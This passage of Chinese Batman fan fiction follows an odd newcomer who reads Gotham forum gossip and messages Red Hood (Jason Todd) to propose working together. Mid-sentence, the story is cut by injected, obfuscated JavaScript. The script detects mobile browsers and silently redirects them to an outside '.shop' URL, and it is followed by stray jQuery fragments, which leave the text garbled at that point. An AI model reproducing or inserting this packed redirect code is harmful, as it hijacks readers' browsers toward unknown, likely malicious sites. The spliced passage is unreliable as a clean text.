哥谭的网民说话不怎么好听。这是你翻了四个小时之后得出的第一个结论。
第二个结论是他们的词汇量真的很大。骂人的方式不重样，阴阳怪气的角度各有千秋。你抱着歪翅膀蝙蝠布偶坐在沙发上，手机屏幕的光映在你的瞳孔里，你的眼睛眯着——不是因为近视，纯粹是因为太多生词挤在一起，你的联觉信标在超负荷运转。大脑在后台拼命翻译，翻译出来的东西让你不知道该怎么评价。
有个叫L1［蝙蝠侠我老公］的用户在帖子里写：“势力的话最强还得是蝙蝠侠和罗宾们，其余在哥谭的好像就是小丑帮啊，冰山餐厅什么的……”措辞倒是正经，但那个ID让你沉默了好几秒，布鲁斯知道他被网民取了这种名字吗。L2叫［罗宾罗宾我们喜欢你］，这人回复L1的时候说：“哇楼上这么‘热心肠’，楼主大大一定会变成哥谭新邪恶势力用他的脚狠狠踹你的屁股。”明明是帮你威胁别人，但你感觉他在看热闹。L3［隔壁大都会来旅游］说了句“民风淳朴是吗……”，省略号里透着一股来哥谭旅游第一天就后悔的无力感。L4［aaa黑面具帮小混混］更离谱：“包的兄弟们，楼主想要了解哥谭就多出出门。最好把值钱的好东西都揣兜里。”然后L3还回了他一句“该夸你好心吗……谢谢你，我会注意的”，居然真的信了。
你看着这条帖子底下越盖越高的楼层，心里只有一个想法——哥谭网民，你们就这么胡说八道。
［这不是个装饰品/大脑］：小孩已经看了四个小时了。
［谨慎但不多/心眼］：他居然没有把手机放下。
［这不是个装饰品/大脑］：他在背单词。
这倒是真的。你看帖子的时候手指经常悬在屏幕上方不动，那是在等大脑把生词翻译出来然后默记。四个小时，你学会了好几个新词的拼写，还顺带摸清了哥谭人说话的路数——他们管蝙蝠侠叫“Bat”或者“Big Bat”，管罗宾们叫“小鸟”，被蝙蝠侠揍进阿卡姆叫“进去进修”，从阿卡姆越狱叫“出来透气”。你把这些记在了脑子里，跟积累语料库似的。
唯一让你觉得有点累的是这栋帖子实在没什么实质性内容。后面几层全在讲八卦，说猫女上周又在博物馆偷了东西但是蝙蝠侠没抓到人，说小丑女和毒藤女好像又复合了，说谜语人在网上发了几条谜语结果被网民骂到删帖。你翻了几页就没心思了。但你注意到了另一条信息——用户头像是一团红色，ID叫［红罩头］。
这个词在提姆的系统里出现过。你记得大脑翻译给你的条目里有一条是关于他的：Red Hood。红头罩。哥谭的反英雄，蝙蝠侠的敌人也是蝙蝠侠的盟友，具体情况你没能从提姆的系统里获取更多，因为提姆把更详细的档案锁在另一个加密分区里了。
但你看到的那份基础档案里没有写红头罩的真实身份。
［红罩头］在论坛里发过一条帖子。一年前发的，沉得很彻底，回复寥寥，回复的内容大多是嘲笑和调侃。你点进去，从头看到尾。帖子的标题是——加入我的团队掀翻哥谭。
内容更直接。他介绍自己的时候用了好几个词：“意气风发，人见人爱，魅力爆彭”。那个“爆彭”你盯着看了几秒，大脑告诉你这是拼写错误，正确应该是“爆棚”。他说他精通十八般武艺，有枪有炮有一整个安全屋的弹药，只需要一个技术型伙伴。他承诺会给伙伴想要的——钱、装备、自由、复仇，他说他知道蝙蝠侠的弱点，问谁愿意加入他的队伍。
下面第一条回复是：这是第几个号了。第二条回复：红头罩你上次发帖是不是被人举报了号都被封了。第三条回复更短：已举报。第四条的ID是［冰山餐厅官方账号］，回复了一个“欢迎预订冰山餐厅年会场地，适合团队聚餐和活动策划”。你看着那条广告回复，嘴角动了一下。没笑出声，但眼睛弯了。
这条帖子到现在已经沉了一整年。红头罩后来也没再更新，号倒是还在。
你退出帖子，点开红头罩的个人主页。注册时间很早，发帖记录很杂——骂过企鹅人，骂过黑面具，骂过蝙蝠侠不杀原则是“废物准则”，也发过几条技术求助帖，问怎么绕过某种加密协议。回帖的人不骂他，也不怕他，就是嘻嘻哈哈地调侃他“还没找到队友呢”。这些回帖的时间跨度从三年到现在。
［谨慎但不多/心眼］：他这个人缘。
［问号大王/耳朵］：不是坏，是别扭。没人把他当真正的威胁，但也没人真的帮他。
［这不是个装饰品/大脑］：他需要技术支援。从发帖记录看，他不是不会用网络，是不会筛选信息。加密协议的问题他其实能自己解决，但他卡在第一步——他不知道从哪开始找答案。
你靠在沙发垫上，手指在屏幕上悬了一会儿。布偶被你夹在手臂和胸口之间，歪翅膀蹭着你的下巴。你在想一个问题——你需要了解哥谭。你需要一个能给你提供信息的人，或渠道。论坛上的网民只能给你八卦和阿卡姆笑话，真正有用的信息藏在更深的地方。而这个红头罩在哥谭活动了至少三年，他知道的比网民多得多。
他需要技术伙伴。你需要信息渠道。合作。
你用匿名账号给红头罩发了一条私信。很短。措辞是你自己想的，语法大概是不对的，拼写可能也有问题。但你写了。
V：I'm good at networking, and you're great. We cooperate.
我擅长网络。你很棒。我们合作。
你没有加任何称呼，没有解释自己是谁，没有提他的旧帖内容。你只是像把一颗石子放在他窗台上那样，把这句话放进了他的私信箱。然后你退出论坛，把手机放在茶几上。
布偶的豆子眼正从歪着的角度看着你。你把它拿起来，掰了掰翅膀。
与此同时，哥谭东区一间安全屋里，杰森·托德正把脚搁在桌上擦枪。手机屏幕亮了一下。他拿起来，点开。
一条论坛私信。来自一个匿名账号。头像没换，ID是一串他认不出规律的乱码最明显的是最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510725|202984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开头的v，个人简介空白。私信内容只有一行字。他先注意到的是拼写错误——networking拼错了，cooperate也拼错了，one写成One，句子没有连词。语法像小学生，但句式很直接。用最简单的方法说清楚了自己的意图。然后他看了一眼发信时间。今天。再看了一眼对方的主页。注册时间：几天前。发帖记录：一条。帖子标题：Gotham, history, influence. 正文就是这三个词。回复有几十条，他没细看，扫了一眼——大概是网民的各种猜测。
杰森把枪放在桌上。脚从桌沿放下来。他看着那条一年前自己发的帖子标题——“加入我的团队掀翻哥谭”——和现在收到的这条“我们合作”。一年前他还在跟布鲁斯较劲，恨不得用最响的方式宣告自己和蝙蝠侠势不两立。一年后他在擦枪，而这条私信偏偏翻出了他那个帖子，敲开他的门。
一个注册几天的新号。一条三个单词的帖子。一封拼写错误百出的私信。
这人要么完全不了解哥谭，要么完全不在乎自己会被误解成什么人，要么两个都占。
杰森盯着那行拼写错误看了很久。然后他敲了回复。
红罩头：外地人别乱掺和。
v：……相信我。
杰森刚要开启嘲讽就见自己的手机屏幕突然被一只黑色的卡通小鸟眨着眼似乎有点困。
“######……！我的新手机！！快给我恢复你这个####！”
杰森看着自己的手机不明白哥谭哪来那么多神经病。
只是在说完后手机又恢复了正常。
v：###应该不太好话吧，翻译起来很难而且都是动词会污染我的语言库。
？！
“真是个###……居然还是个外国人…真是没空和你们这些疯子闹……”
v：我想要有个有能力的伙伴，帮助我。
杰森：……
最后还是皱褶眉头回复这个莫名其妙的人。
红罩头：你想干什么——
v：挣钱。
红罩头：？
红罩头：自己找个班上！！！
v：我有交流困难症。
他确实已经看见你的每句话都有错词，他还是顺着你的话毕竟跑来哥谭挣钱的外地神经病说不定是下一个阿卡姆的神奇宝贝。
红罩头：你想怎么做。
v：我会一点网络技术，不是你发布的招聘帖吗？我们成为伙伴，你给我发工资。
杰森……好像确实。
但是现在他并不需要，也没想到这帖子会在这么久后被回复。
关于帖子的内容伊什塔尔并不在意，像红头罩这种帖子伊什塔尔已经看到几千条了，选红罩头是看着他发图背景的桌上有一把精巧的枪。拥有这种东西的人应该不会缺钱，而且看他的日常的帖子也推断的出他似乎讨厌蝙蝠侠但是不会真的报复蝙蝠侠。大概也是个蝙蝠侠毒唯，毕竟有骂蝙蝠侠的他都以满屏的###回复。